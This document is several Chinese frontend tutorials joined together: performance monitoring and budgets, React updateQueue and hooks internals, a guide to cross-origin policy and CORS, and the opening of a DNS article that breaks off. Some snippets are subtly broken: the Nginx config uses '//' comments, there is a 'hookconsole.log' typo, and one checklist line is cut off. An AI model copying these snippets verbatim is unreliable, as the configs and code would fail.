10.1 真实用户监控(RUM)与实验室测试的区别

Lighthouse 和 Performance 面板是"实验室测试"——在受控环境下测量的数据。真实用户的体验可能因为网络状况、设备性能、地理位置等因素有很大差异。

真实用户监控(RUM, Real User Monitoring)

  • 在真实用户的浏览器中收集性能数据
  • 数据更真实,但需要用户量才有统计意义
  • Google Search Console 中的 Core Web Vitals 报告就是基于真实用户数据

10.2 使用 web-vitals 库收集性能数据

// performance-monitor.ts
import { onLCP, onINP, onCLS, onFCP, onTTFB } from 'web-vitals';

// 将性能数据发送到分析服务
function sendToAnalytics(metric) {
  const { name, value, rating, id } = metric;

  // rating 是 'good' | 'needs-improvement' | 'poor'
  console.log(`${name}: ${value}ms (${rating})`);

  // 发送到你的分析服务
  fetch('/api/analytics/performance', {
    method: 'POST',
    body: JSON.stringify({
      metricName: name,
      value: Math.round(value),
      rating,
      id,
      url: window.location.href,
      timestamp: Date.now(),
    }),
  });
}

// 注册所有 Core Web Vitals 监听
onLCP(sendToAnalytics);
onINP(sendToAnalytics);
onCLS(sendToAnalytics);
onFCP(sendToAnalytics);
onTTFB(sendToAnalytics);

10.3 性能预算

性能预算是指为关键性能指标设置上限,当预算被超出时触发告警或构建失败:

// webpack.config.js - 配置性能预算
module.exports = {
  performance: {
    // 资源超出大小限制时发出警告
    hints: 'warning',
    // 单个文件最大 250KB
    maxAssetSize: 250 * 1024,
    // 入口文件总大小最大 500KB(包含所有同步依赖)
    maxEntrypointSize: 500 * 1024,
    // 只对 JS 和 CSS 文件执行检查
    assetFilter: (assetFilename) => {
      return /.(js|css)$/.test(assetFilename);
    },
  },
};

在 CI/CD 流程中集成性能测试:

# .gitlab-ci.yml
performance_test:
  stage: test
  script:
    # 使用 Lighthouse CI 进行性能测试
    - npx lhci autorun
  rules:
    - if: $CI_PIPELINE_SOURCE == "merge_request_event"
// lighthouserc.js
module.exports = {
  ci: {
    assert: {
      preset: 'lighthouse:recommended',
      assertions: {
        // LCP 必须低于 2500ms,否则 CI 失败
        'largest-contentful-paint': ['error', { maxNumericValue: 2500 }],
        // INP 必须低于 200ms
        'experimental-interaction-to-next-paint': ['warn', { maxNumericValue: 200 }],
        // TBT 必须低于 300ms
        'total-blocking-time': ['error', { maxNumericValue: 300 }],
      },
    },
    upload: {
      target: 'temporary-public-storage',
    },
  },
};

10.4 建立性能优化文化

性能优化不是一次性的工作,而是需要持续维护的过程。建立良好的性能优化文化需要:

  1. 可见性:将性能指标加入团队的监控大盘,让所有人都能看到
  2. 责任制:每次新功能上线,开发者需要提供性能测试数据
  3. 自动化:在 CI/CD 中集成性能测试,防止性能退化
  4. 教育:定期分享性能优化案例,提升团队意识

10.5 性能优化 Checklist

在每个新功能上线前,使用以下检查清单自检:

加载性能

  • LCP 元素是否添加了 fetchpriority="high" 或
  • 图片是否指定了 width 和 height 属性(防止 CLS)
  • 图片是否使用了 WebP 格式
  • 大图是否已经压缩到合理大小(通常移动端 < 200KB)
  • 新增的第三方域名是否添加了 preconnect

代码质量

  • 新增的路由/弹层是否使用了懒加载(React.lazy)
  • 是否引入了新的大型依赖库(通过 Bundle Analyzer 检查)
  • 是否有不必要的全量引入(如 import _ from 'lodash')

交互性能

  • 点击事件处理函数是否有超过 50ms 的同步操作
  • 是否有大数组遍历在事件处理函数中
  • 大列表是否使用了虚拟列表

布局稳定性

  • 动态插入的内容是否预留了空间
  • 是否有可能导致页面内容重排的操作

10.6 总结:性能优化的核心思想

经过十章的学习,我们可以总结出性能优化的几个核心思想:

1. 测量优先:永远先测量,再优化。没有数据支撑的优化可能是无效甚至有害的。

2. 用户感知优先:性能优化的目标是改善用户感知,不是追求技术数字。有时候"感觉快"比实际数字更重要(如添加骨架屏)。

3. 关键路径优先:页面加载是一条关键路径(TTFB → FCP → LCP),优化要从瓶颈处入手,不要优化不在关键路径上的内容。

4. 主线程保护:所有交互性能问题的根源都是主线程被阻塞。保持主线程畅通,是 INP 优化的核心策略。

5. 渐进增强:先呈现核心内容,再逐步加载增强功能。首屏只加载必要资源,其他内容懒加载。

6. 持续监控:性能是一个会随着业务发展而退化的指标,需要通过 RUM 和 CI/CD 持续监控和保护。


附录:工具资源

在线分析工具

npm 包

  • web-vitalsnpm i web-vitals):Google 官方的 Core Web Vitals 收集库
  • performance-utilsnpm i performance-utils):性能优化工具集
  • react-windownpm i react-window):虚拟列表
  • react-virtualizednpm i react-virtualized):更完整的虚拟化方案

学习资源

  • web.dev/performance:Google 官方性能优化文档,是最权威的学习资源
  • Chrome Developers YouTube 频道:有大量 Performance 面板的使用教程

14_React 中的更新队列 updateQueue

一、概述

updateQueue 是挂在 Fiber / Hook 上的更新队列(链表),用于缓存 setState 产生的 update,并在 render 阶段按优先级(lane)依次计算出新的 state。

在 React 中,有许多触发状态更新的方法,比如:

  • ReactDOM.createRoot
  • setState
  • useState dispatcher
  • useReducer dispatcher

这些方法使用相同的更新流程,因为它们都使用 updateQueue 这个数据结构。

二、两套 updateQueue

React 里有两套队列:

1️⃣ 类组件

fiber.updateQueue = {
  baseState, // 初始 state,update 基于该 state 计算新的 state
  firstBaseUpdate, // 更新前该 FiberNode 中已保存的 update 链表,表头为 firstBaseUpdate
  lastBaseUpdate, // 链表尾部为 lastBaseUpdate
  // 触发更新后,产生的 update 会保存在 shared.pending 中形成单向环状链表
  // 计算 state 时,该环状链表会被拆分并拼接在 lastBaseUpdate 后面。
  shared: {
    pending
  }
}

2️⃣ 函数组件 Hooks

每个 useState / useReducer 都有一个 queue:

hook.queue = {
  pending: Update | null, // 环形链表
  dispatch: Function
}

三、Update 数据结构

Update 节点

type Update = {
  lane: Lane;        // 优先级
  action: any;       // setState 传入的值/函数
  next: Update | null;
}

队列结构(环形链表)

pending
   ↓
update1 → update2 → update3
   ↑                 ↓
   ← ← ← ← ← ← ← ← ←

为什么是环形?

  • O(1) 插入
  • 不需要区分头尾

四、dispatch(setState)发生了什么?

setCount(c => c + 1)
function dispatchSetState(fiber, queue, action) {
  const update = {
    lane: requestUpdateLane(), // 分配优先级
    action,
    next: null
  };

  enqueueUpdate(queue, update);

  scheduleUpdateOnFiber(fiber);
}

enqueueUpdate

function enqueueUpdate(queue, update) {
  const pending = queue.pending;

  if (pending === null) {
    update.next = update;
  } else {
    update.next = pending.next;
    pending.next = update;
  }

  queue.pending = update;
}

插入效果:永远插在“尾部”,但保持环形。

五、render 阶段:如何消费 updateQueue?

processUpdateQueue()

执行流程

let newState = baseState;

let update = firstUpdate;

do {
  if (lane 满足当前优先级) {
    newState = reducer(newState, update.action);
  } else {
    // 跳过(并发关键)
    // 执行在下一次 render 开始的时候,和下一 render 的 updates 组成新的链表
  }

  update = update.next;
} while (update !== null);

reducer 本质

function reducer(state, action) {
  return typeof action === 'function'
    ? action(state)
    : action;
}

六、baseState & baseQueue(并发核心)

React 19 支持并发:低优先级更新可能被跳过

hook.memoizedState // 当前 state

hook.baseState     // 上一次稳定 state

hook.baseQueue     // 未处理的 update

执行逻辑

高优先级 → 先执行
低优先级 → 留在 baseQueue

示例

setCount(1)        // 高优先级
startTransition(() => {
  setCount(2)      // 低优先级
})

render 结果:

先执行 1
2 留在队列,下次再算

七、lane(优先级系统)

React 19 的核心:

每个 update 都有 lane(优先级)

判断逻辑

if ((update.lane & renderLanes) !== 0) {
  // 执行
} else {
  // 跳过
}

不同的 update 是有不同的优先级,高优先级的 update 能够中断低优先级的 update,当高优先级的 update 完成更新之后,后续的低优先级更新会在高优先级 update 更新后的 state 的基础上再来进行更新。

八、批处理(Batching)

React 18+ 自动 batching

setCount(1)
setCount(2)

结果:

只触发一次 render

因为 多个 update 进入同一个 queue。

执行顺序:

1 → 2 → 最终 state = 2

错误写法:

setCount(count + 1)
setCount(count + 1)

结果:+1(不是 +2)

正确写法:

setCount(c => c + 1)
setCount(c => c + 1)

原因:每个 update 都基于“上一个结果”

九、和 effectQueue 的区别

本质:

updateQueue → render 阶段
effectQueue → commit 阶段

十、完整流程总结

setState
   ↓
创建 update(带 lane)
   ↓
加入 updateQueue(环形链表)
   ↓
scheduleUpdateOnFiber
   ↓
render 阶段:
   ↓
processUpdateQueue(计算 state)
   ↓
commit 阶段:
   ↓
更新 DOM + 执行 effect

10_从 React Hooks 本质看 useState

一、Hooks 的本质

Hooks 是挂在 Fiber 上的一条“有序链表”,通过“调用顺序”来定位状态

每个函数组件对应一个 Fiber:

type Fiber = {
  memoizedState: Hook | null; // Hook 链表头
}

对于一个 Hook,有三种类型的 dispatcher(可以认为是操作策略):

/* 函数组件初始化用的 hooks */
// 初始化信息挂载到 fiber 上
const HooksDispatcherOnMount: Dispatcher = {
  ...
  useCallback: mountCallback,
  useEffect: mountEffect,
  useMemo: mountMemo,
  useReducer: mountReducer,
  useRef: mountRef,
  useState: mountState,
  ...
};

/* 函数组件更新用的 hooks */
// 组件更新执行对应的方法,更新 fiber 信息
const HooksDispatcherOnUpdate: Dispatcher = {
  ...
  useCallback: updateCallback,
  useContext: readContext,
  useEffect: updateEffect,
  useMemo: updateMemo,
  useReducer: updateReducer,
  useRef: updateRef,
  useState: updateState,
  ...
};

/* 当 hooks 不是函数组件内部调用或者嵌套 hooks 等“非正确使用”情况,调用这些报错相关的 dispatcher */
const ContextOnlyDispatcher: Dispatcher = {
  ...
  useCallback: throwInvalidHookError,
  useContext: throwInvalidHookError,
  useEffect: throwInvalidHookError,
  useMemo: throwInvalidHookError,
  useReducer: throwInvalidHookError,
  useRef: throwInvalidHookError,
  useState: throwInvalidHookError,
  ...
};

二、Hook 的数据结构

type Hook = {
  memoizedState: any; // 当前值
  baseState: any;
  queue: UpdateQueue | null;
  next: Hook | null;
}

注意:这里要和 FiberNode 的 memoizedState 区分开:

  • FiberNode.memoizedState:保存的是 Hook 链表里面的第一个链表
  • hook.memoizedState:某个 Hook 自身的数据
Fiber.memoizedState
   ↓
[useState] → [useEffect] → [useMemo] → null

完全依赖调用顺序!

不同的 hook,memoizedState 所存储的内容不同:

  • useState:对于 const [state, updateState] = useState(initialState),memoizedState 保存的是 state 的值
  • useReducer:对于 const [state, dispatch] = useReducer(reducer, { } ),memoizedState 保存的是 state 的值
  • useEffect:对于 useEffect( callback, [...deps] ),memoizedState 保存的是 callback、[...deps] 等数据
  • useRef:对于 useRef(initialValue),memoizedState 保存的是 { current: initialValue}
  • useMemo:对于 useMemo( callback, [...deps] ),memoizedState 保存的是 [callback( )、[...deps]] 数据
  • useCallback:对于 u seCallback( callback, [...deps] ),memoizedState 保存的是 [callback、[...deps]] 数据
  • useContext:不需要 memoizedState 保存自身数据

三、执行流程(mount 阶段)

1️⃣ render 开始

function Component() {
  const [count, setCount] = useState(0);
}
// render 开始先执行
export function renderWithHooks(current, workInProgress, Component, props, secondArg, nextRenderLanes) {
  renderLanes = nextRenderLanes;
  currentlyRenderingFiber = workInProgress;

  // 每一次执行函数组件之前,先清空 FiberNode 状态 (用于存放 hooks 列表)
  workInProgress.memoizedState = null;
  // 清空更新队列(用于存放 effect 列表)
  workInProgress.updateQueue = null;
  // ...
  // 根据不同的组件状态初始化不同的 dispatcher 对象和上下文
  ReactCurrentDispatcher.current =
    current === null || current.memoizedState === null
      ? HooksDispatcherOnMount
      : HooksDispatcherOnUpdate;

  // 执行函数组件,所有的 hooks 将依次执行
  let children = Component(props, secondArg);

  // ...
  
  // 兜底
  finishRenderingHooks(current, workInProgress);
  return children;
}

function finishRenderingHooks(current, workInProgress) {
    // 防止 hooks 在不合规的情况下调用,如果调用直接报错
    ReactCurrentDispatcher.current = ContextOnlyDispatcher;
    // ...
}

2️⃣ mountState 做了什么

如果组件是挂载阶段:

function mountWorkInProgressHook() {
  const hook = {
    memoizedState: null,  // Hook 自身的状态
    baseState: null,
    baseQueue: null,
    queue: null, // hook 自身队列
    next: null, // next 指向下一个 hook
  };

  // 判断当前的 hook 是否是链表的第一个
  if (workInProgressHook === null) {
    // 如果当前组件的 Hook 链表为空,那么就将刚刚新建的 Hook 作为 Hook 链表的第一个节点(头结点) 
    currentlyRenderingFiber.memoizedState = workInProgressHook = hook;
  } else {
    // 果当前组件的 Hook 链表不为空,那么就将刚刚新建的 Hook 添加到 Hook 链表的末尾(作为尾结点)
    workInProgressHook = workInProgressHook.next = hook;
  }
  return workInProgressHook;
}

function mountStateImpl(initialState) {
  // 获取 hook 对象
  const hook = mountWorkInProgressHook();
  
  //...
  
  // 初始化 memoizedState 
  hook.memoizedState = hook.baseState = initialState;
  const queue: UpdateQueue = {
    pending: null,
    lanes: NoLanes,
    dispatch: null,
    lastRenderedReducer: basicStateReducer, // useState 内置的 reducer
    lastRenderedState: (initialState: any),
  };
  // 初始化 queue
  hook.queue = queue;
  return hook;
}

function mountState(initialState) {
  // 获取 hook 对象
  const hook = mountStateImpl(initialState);
  const queue = hook.queue;
  const dispatch = (dispatchSetState.bind(
    null,
    currentlyRenderingFiber,
    queue,
  ));
  // 初始化 dispatch (dispatch 就是用来修改状态的方法)
  queue.dispatch = dispatch;
  // 返回 [当前状态, dispatch函数]
  return [hook.memoizedState, dispatch];
}

其实 useReducer 和 useState 非常像,在源码层面:

  1. mount 阶段:mountState 和 mountReducer 的大体流程是一样的。但是有一个区别,mountState 的 queue 里面的 lastRenderedReducer 对应的是 basicStateReducer,而 mountReducer 的 queue 里面的 lastRenderedReducer 对应的是开发者自己传入的 reducer,这里说明了一个问题,useState 的本质就是 useReducer 的一个简化版,只不过在 useState 内部,会有一个内置的 reducer
  2. update 阶段:在 update 阶段,updateState 内部直接调用的就是 updateReducer,传入的 reducer 仍然是 basicStateReducer。
function mountReducer(reducer, initialArg, init) {
  // 创建 hook 对象
  const hook = mountWorkInProgressHook();
  let initialState;
  // 如果有 init 初始化函数,就执行该函数,并将执行的结果赋值给 initialState
  if (init !== undefined) {
    initialState = init(initialArg);
  } else {
    initialState = initialArg;
  }
  // 赋值给 hook 对象的 memoizedState
  hook.memoizedState = hook.baseState = initialState;

  const queue = {
    pending: null,
    lanes: NoLanes,
    dispatch: null,
    lastRenderedReducer: reducer, // 手动传入的 reducer
    lastRenderedState: initialState,
  };
  hook.queue = queue;
  const dispatch = (queue.dispatch = dispatchReducerAction.bind(
    null,
    currentlyRenderingFiber,
    queue
  ));
  return [hook.memoizedState, dispatch];
}

3️⃣ 构建 Hook 链表

第一次 render:

Fiber.memoizedState → Hook1 → Hook2 → Hook3

举个例子~

该示例来源:渡一教育。

function App() {
  const [number, setNumber] = React.useState(0); // 第一个hook
  const [num, setNum] = React.useState(1); // 第二个hook
  const dom = React.useRef(null); // 第三个hook
  React.useEffect(() => {
    // 第四个
    hookconsole.log(dom.current);
  }, []);
  return (
    <div ref={dom}>
    <div onClick={() => setNumber(number + 1)}> {number} </div>
    <div onClick={() => setNum(num + 1)}> {num}</div></div>
  );
}

四、更新阶段(update)

不再创建 Hook,而是“复用”

function updateWorkInProgressHook(){
  let nextCurrentHook: null | Hook;
  if (currentHook === null) {
    // 从 alternate 上获取到 fiber 对象
    const current = currentlyRenderingFiber.alternate;
    
    // 获取第一个 hook
    if (current !== null) {
      nextCurrentHook = current.memoizedState;
    } else {
      nextCurrentHook = null;
    }
  } else {
    // 获取下一次 hook
    nextCurrentHook = currentHook.next;
  }

  // workInProgressHook 会指向下一个要工作的 hook
  let nextWorkInProgressHook: null | Hook;
  if (workInProgressHook === null) {
    nextWorkInProgressHook = currentlyRenderingFiber.memoizedState;
  } else {
    nextWorkInProgressHook = workInProgressHook.next;
  }

  if (nextWorkInProgressHook !== null) {
    // 已经存在,直接复用
    workInProgressHook = nextWorkInProgressHook;
    nextWorkInProgressHook = workInProgressHook.next;
    currentHook = nextCurrentHook;
  } else {
    // Clone from the current hook.
    // 如果 nextWorkInProgressHook 不为 null,那么就会复用之前的 hook
    // 划重点!!!
    // 更新的过程中,如果通过条件语句增加或者删除了 hook,复用的时候就会产生当前 hook 的顺序和之前 hook 的顺序不一致的问题
    if (nextCurrentHook === null) {
      const currentFiber = currentlyRenderingFiber.alternate;
      if (currentFiber === null) {
        // This is the initial render. This branch is reached when the component
        // suspends, resumes, then renders an additional hook.
        // Should never be reached because we should switch to the mount dispatcher first.
        throw new Error(
          'Update hook called on initial render. This is likely a bug in React. Please file an issue.',
        );
      } else {
        // This is an update. We should always have a current hook.
        throw new Error('Rendered more hooks than during the previous render.');
      }
    }

    currentHook = nextCurrentHook;

    const newHook: Hook = {
      memoizedState: currentHook.memoizedState,

      baseState: currentHook.baseState,
      baseQueue: currentHook.baseQueue,
      queue: currentHook.queue,

      next: null,
    };

    if (workInProgressHook === null) {
      // This is the first hook in the list.
      currentlyRenderingFiber.memoizedState = workInProgressHook = newHook;
    } else {
      // Append to the end of the list.
      workInProgressHook = workInProgressHook.next = newHook;
    }
  }
  return workInProgressHook;
}

function updateReducer() {
  const hook = updateWorkInProgressHook();
  return updateReducerImpl(hook, ((currentHook)), reducer);
}

function updateState<S>(initialState) {
  return updateReducer(basicStateReducer, initialState);
}

接着上面的示例~

示例来源:渡一教育。

function App({ showNumber }) {
  let number, setNumber
  showNumber && ([ number,setNumber ] = React.useState(0)) // 第一个hooks
  const [num, setNum] = React.useState(1); // 第二个hook
  const dom = React.useRef(null); // 第三个hook
  React.useEffect(() => {
    // 第四个hook
    console.log(dom.current);
  }, []);
  return (
    <div ref={dom}>
    <div onClick={() => setNumber(number + 1)}> {number} </div>
    <div onClick={() => setNum(num + 1)}> {num}</div></div>
  );
}

假设第一次父组件传递过来的 showNumber 为 true,此时就会渲染第一个 hook;第二次渲染的时候,假设父组件传递过来的是 false,那么第一个 hook 就不会执行,那么逻辑就会变得:

第一次:useState -> useState

第二次:useState -> useRef

体现在我们开发者眼中就是报错。

五、setState 到底做了什么?

dispatch 流程

function dispatchSetState(action) {
  const update = {
    action,
    next: null
  };

  enqueueUpdate(queue, update);

  scheduleUpdateOnFiber(fiber);
}

UpdateQueue 结构

hook.queue
   ↓
update1 → update2 → update3(环形链表)

执行更新

function processUpdateQueue(queue) {
  let state = baseState;

  queue.forEach(update => {
    state = reducer(state, update.action);
  });

  return state;
}

六、调度机制(Hooks 如何触发更新)

scheduleUpdateOnFiber(fiber)
setState
   ↓
scheduleUpdate
   ↓
标记 lane(优先级)
   ↓
render(可中断)
   ↓
commit(不可中断)

Hooks 如何保证并发下的 hooks 行为正确?

关键:

  • 每次 render 都重新走一遍 Hook 链
  • 不依赖“执行次数”,只依赖“顺序”

深度剖析浏览器跨域问题

跨域是前后端分离架构下最常见的技术问题之一,绝大多数开发者仅停留在“配置代理、开CORS”的解决层面,却不懂底层浏览器安全逻辑、请求校验机制与各方案的适用边界。本文将从同源策略底层原理切入,拆解跨域产生的核心根源、跨域请求分类、8种主流解决方案的实现逻辑与优劣,同时梳理开发、测试、生产全环境最佳实践与高频避坑点,完整覆盖面试考点与企业级落地场景,可作为前端进阶学习笔记与技术分享文档。

一、前置认知:跨域的本质不是Bug,是浏览器安全机制

1.1 什么是同源策略(Same-Origin Policy, SOP)

同源策略是现代浏览器内置的核心安全基石,是浏览器厂商为解决Web安全漏洞、保护用户隐私数据设计的强制约束规则,并非业务代码缺陷、服务器故障导致的Bug。

其核心规则:仅当两个URL的协议、域名、端口号三者完全一致时,才判定为同源;任意一项不同,即为跨域。非同源页面在无明确授权的前提下,禁止互相读写DOM节点、读取Cookie、LocalStorage、发送AJAX/Fetch数据请求。

1.2 同源精准判定规则(附实战案例)

以基准地址 http://localhost:5173(前端常用开发地址)为参照,详细区分同源/跨域场景:

请求地址 对比差异 是否跨域 原因说明
http://localhost:5173/api 无差异 协议、域名、端口完全一致,仅路径不同,属于同源
https://localhost:5173/api 协议不同(http/https) 协议是核心校验项,http与https视为完全不同源
http://127.0.0.1:5173/api 域名不同(localhost/127.0.0.1) 域名字面量不一致,浏览器严格区分,不做自动兼容
http://localhost:3000/api 端口不同(5173/3000) 端口是同源校验必要项,不同端口直接判定跨域
test.localhost:5173 子域名不同 默认严格校验完整域名,子域名不同属于跨域

1.3 浏览器为什么必须限制跨域?(安全核心逻辑)

同源策略的核心目的是防范CSRF跨站请求伪造、XSS数据窃取等恶意攻击,模拟真实攻击场景即可直观理解:

假设用户登录了银行官网 https://bank.com,浏览器保存了登录态Cookie;此时用户误打开恶意网站 https://hack.com。若无同源策略限制,恶意网站可直接通过JS发起请求,调用银行接口、读取用户账户数据、模拟转账操作,造成用户财产损失。

同源策略的拦截逻辑:允许跨域发送请求、携带Cookie,但是浏览器会拦截响应结果,禁止前端JS读取响应数据。这是绝大多数开发者的认知盲区:跨域不是请求发不出去,而是响应无法被前端获取

二、深度拆解:浏览器跨域请求的两大分类

W3C将跨域请求分为简单请求预检请求(复杂请求),两类请求的浏览器校验逻辑、拦截时机、配置方式完全不同,是解决CORS跨域的核心依据。

2.1 简单请求(无需预检,直接放行请求)

满足全部条件即为简单请求

  1. 请求方法仅限:GET、POST、HEAD

  2. 自定义请求头仅限:Accept、Accept-Language、Content-Language、Content-Type;

  3. Content-Type仅限:text/plainmultipart/form-dataapplication/x-www-form-urlencoded

执行流程

浏览器直接发起真实请求 → 服务器返回响应 → 浏览器校验响应头跨域字段 → 校验通过则前端读取数据,校验失败则控制台抛出跨域错误。

2.2 预检请求(复杂请求,先发OPTIONS试探)

任意一条不满足简单请求条件,即为复杂请求

常见场景:使用PUT/DELETE请求、携带Token自定义请求头、Content-Type为application/json等。

执行流程(两步请求)

第一步(OPTIONS预检):浏览器自动发起OPTIONS试探请求,携带请求方法、请求头信息,询问服务器是否允许当前跨域请求;

第二步(真实请求):服务器校验通过并返回允许跨域的响应头 → 浏览器发起真实业务请求;若预检失败,直接拦截真实请求,抛出跨域异常。

核心注意点:复杂请求跨域报错,优先排查后端是否配置了OPTIONS请求放行逻辑,这是高频踩坑点。

三、全量跨域解决方案:原理、实战、优劣与适用场景

所有跨域解决方案的核心逻辑只有两类:1. 让浏览器认为请求同源(代理、域名统一);2. 让服务器明确授权跨域(CORS)。下文按「生产优先级、实用程度」排序,剔除废弃方案,保留企业级可用方案。

3.1 CORS 跨域资源共享(生产首选、标准W3C方案)

核心定位:后端主导的标准跨域方案,无前端侵入、安全可控,是前后端分离项目生产环境最优解。

核心原理:服务器通过在响应头中添加跨域授权字段,主动告知浏览器「允许指定域名的跨域请求访问资源」,浏览器校验授权合法后,放行响应数据。

核心响应头字段详解

  1. Access-Control-Allow-Origin:允许跨域的域名,支持具体域名(生产推荐)、*(允许所有域名,禁止携带Cookie);

  2. Access-Control-Allow-Methods:允许的请求方法,适配复杂请求;

3.Access-Control-Allow-Headers:允许的自定义请求头(如Token);

  1. Access-Control-Allow-Credentials:是否允许携带Cookie、Token等凭证,开启后Origin禁止使用*;

  2. Access-Control-Max-Age:预检请求缓存时间,减少重复OPTIONS请求,优化性能。

方案优劣

✅ 优点:标准规范、支持所有请求方法、支持凭证携带、无架构侵入、安全性最高;

❌ 缺点:需要后端开发配合配置,前端无法独立完成。

适用场景:所有线上生产项目、常规接口跨域场景。

3.2 前端本地代理跨域(开发环境专属首选)

核心定位:前端独立解决开发环境跨域,零后端配合成本,仅本地生效,上线失效。

核心原理:同源策略仅限制浏览器与服务器的通信,不限制服务器与服务器通信。本地启动一个Node代理服务,前端请求本地同源代理地址,由代理服务转发请求至后端接口,绕过浏览器跨域拦截。

Vite代理实战配置(Vue/React通用)

// vite.config.js
export default {
  server: {
    proxy: {
      // 匹配所有/api开头的请求
      '/api': {
        target: 'http://127.0.0.1:3000', // 后端真实接口地址
        changeOrigin: true, // 开启跨域伪装,修改请求头Origin
        rewrite: (path) => path.replace(/^\/api/, '') // 去除请求路径中的/api前缀
      }
    }
  }
}

方案优劣

✅ 优点:前端独立配置、开箱即用、不污染生产代码、开发效率极高;

❌ 缺点:仅本地开发生效,打包上线后代理失效,无法解决生产跨域。

适用场景:本地开发、接口联调阶段。

3.3 Nginx反向代理跨域(生产高可用方案)

核心定位:运维层面解决跨域,零代码侵入,企业级大型项目主流方案。

核心原理:通过Nginx网关统一入口,将前端静态资源、后端接口映射到同一个域名、同一个端口,让浏览器判定为同源请求,从根源规避跨域问题。

核心Nginx配置

server {
    listen 80;
    server_name www.project.com; // 统一域名

    // 前端静态资源请求
    location / {
        root /usr/local/nginx/html/project;
        index index.html;
        try_files $uri $uri/ /index.html; // 适配SPA单页路由
    }

    // 后端接口请求转发
    location /api/ {
        proxy_pass http://127.0.0.1:3000/api/; // 后端服务地址
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
    }
}

方案优劣

✅ 优点:零业务代码修改、性能优异、支持负载均衡、稳定性强、适配集群部署;

❌ 缺点:需要运维配置Nginx,需掌握基础运维知识。

适用场景:线上生产环境、企业级项目、高并发Web应用。

3.4 postMessage 跨窗口/iframe跨域通信(专属场景方案)

核心定位:专门解决不同域名窗口、iframe嵌套页面的跨域数据通信,不用于接口请求跨域。

核心原理:HTML5标准API,提供独立于同源策略的跨窗口通信通道,允许两个非同源窗口互相发送、接收数据,安全可控。

实战代码示例

// 父页面(主页面)向iframe子页面发送数据
const iframe = document.getElementById('iframe');
iframe.contentWindow.postMessage({ type: 'sendData', data: '测试数据' }, 'https://子页面域名.com');

// 子页面接收数据
window.addEventListener('message', (e) => {
  // 安全校验:仅接收指定域名的消息,防止恶意攻击
  if (e.origin !== 'https://主页面域名.com') return;
  console.log('接收跨域数据:', e.data);
});

方案优劣

✅ 优点:专属跨窗口通信、安全可控、兼容性好;

❌ 缺点:仅适用于页面通信,无法解决AJAX接口跨域。

适用场景:iframe嵌套页面、多标签页跨域传参、主副页面数据交互。

3.5 WebSocket 天然跨域(实时通信专属)

核心定位:WebSocket协议不受浏览器同源策略限制,天然支持跨域。

核心原理:同源策略是HTTP协议的安全约束,而WebSocket是独立的全双工通信协议,握手阶段虽基于HTTP,但通信链路建立后与HTTP无关,因此无跨域限制。

适用场景:聊天室、实时通知、直播弹幕、数据实时推送等实时交互场景。

3.6 document.domain 子域名跨域(小众专用)

核心限制:仅适用于主域名相同、子域名不同的场景(如 a.xxx.com 与 b.xxx.com)。

核心原理:手动降级两个页面的域名为主域名,规避子域名跨域限制,实现DOM、Cookie共享。

核心代码:两个页面同时执行 document.domain = 'xxx.com' 即可同源通信。

缺点:适用场景极窄,仅支持二级域名,无法用于完全不同域名的跨域,现代项目极少使用。

3.7 废弃方案:JSONP(坚决不推荐新项目使用)

JSONP利用script标签不受跨域限制的特性实现跨域,仅支持GET请求、无错误捕获、安全性差、无法传输复杂数据。目前所有现代项目已全面淘汰,仅需了解历史原理,禁止落地使用。

四、高频跨域报错与生产避坑指南

4.1 携带Cookie跨域失败

报错原因:前后端未统一开启凭证配置,或CORS配置中Origin使用*通配符。

解决方案

  1. 后端配置 Access-Control-Allow-Credentials: true

  2. 后端Origin禁止使用*,必须配置具体前端域名;

  3. 前端请求开启凭证:axios配置 withCredentials: true

4.2 复杂请求OPTIONS预检失败

报错原因:后端未放行OPTIONS预检请求,未配置自定义请求头授权。

解决方案:后端拦截所有OPTIONS请求,直接返回200状态码,同时配置Allow-Headers匹配前端自定义Token头。

4.3 开发环境正常,生产环境跨域

核心原因:前端代理仅本地生效,打包上线后代理配置失效,未配置生产CORS或Nginx代理。

解决方案:生产环境必须依赖后端CORS或Nginx反向代理,切勿依赖前端代理。

五、企业级跨域最佳实践(全环境标准流程)

5.1 本地开发环境

统一使用Vite/Webpack本地代理,前端独立解决跨域,无需后端配合,提升联调效率。

5.2 测试/生产环境(中小项目)

后端全局配置CORS跨域配置,精准放行前端域名,开启凭证支持,简单高效、快速落地。

5.3 测试/生产环境(大型集群项目)

优先使用Nginx反向代理,统一网关入口,兼顾跨域解决、负载均衡、动静分离,架构更稳定。

5.4 特殊场景

  1. iframe跨页面通信:强制使用postMessage;

  2. 实时推送业务:使用WebSocket天然跨域;

  3. 子域名项目:按需使用document.domain。

六、核心知识点总结

  1. 跨域不是请求发不出,是浏览器基于同源策略拦截响应,属于浏览器安全机制,非代码Bug;

  2. 同源判定三要素:协议、域名、端口,三者必须完全一致;

  3. 跨域请求分简单请求、复杂请求,复杂请求必走OPTIONS预检;

  4. 方案分层:开发用前端代理、生产用CORS/Nginx、特殊场景用专属方案;

  5. 安全原则:生产环境禁止使用*通配符跨域,精准配置授权域名,开启凭证校验。

从 URL 到页面展示,还有哪些你忽略的底层细节?(DNS 与传输篇)

从 URL 到页面展示,还有哪些你忽略的底层细节?(DNS 与传输篇)

上一篇文章我们用「浏览器多进程架构」为主线,拆解了从输入 URL 到页面渲染的完整导航过程。很多读者反馈:DNS 和传输层部分还值得再挖深一点 —— 面试时能不能多讲一些「IP 地址背后的事」?数据到底是怎么从服务器跑到浏览器的?

今天我们就顺着这条链路,把 DNS 的兜底逻辑负载均衡OSI 模型下的数据封包一次讲透,让你在面试中再往底层迈一步。


一、DNS 返回的 IP,并不是最终服务器的 IP

很多人以为 DNS 解析后直接拿到的是真实 Web 服务器的 IP,其实不是。

你可以亲自在 Chrome 地址栏输入 chrome://net-internals/#dns,就能看到浏览器缓存的 DNS 记录。查询一个大型网站,返回的经常是一个 IP 数组(多个地址),而不是单个 IP。

这就是分布式服务器集群所带来的现象。真正和浏览器通信的通常是一台 反向代理服务器(比如 Nginx),它充当“媒婆”的角色:

  • 请求先到这台 Nginx 代理
  • 代理背后有成百上千台真实业务服务器
  • 代理根据负载均衡策略,选择一台把请求转发过去

负载均衡怎么选服务器?

常见的策略有:

  • 轮询:按顺序一台一台分配
  • 加权轮询:配置高的机器多承担一些请求
  • 最少连接数:谁当前任务少就发给谁
  • IP 哈希:让同一用户的请求落到同一台服务器(便于 session 保持)

这样一来,即使某台服务器宕机,代理也能把流量导到健康节点,用户几乎无感知。


二、离你最近的 IP:CDN 的地域性调度

DNS 解析还有一个高级技能:根据你的地理位置,返回离你最近的节点 IP

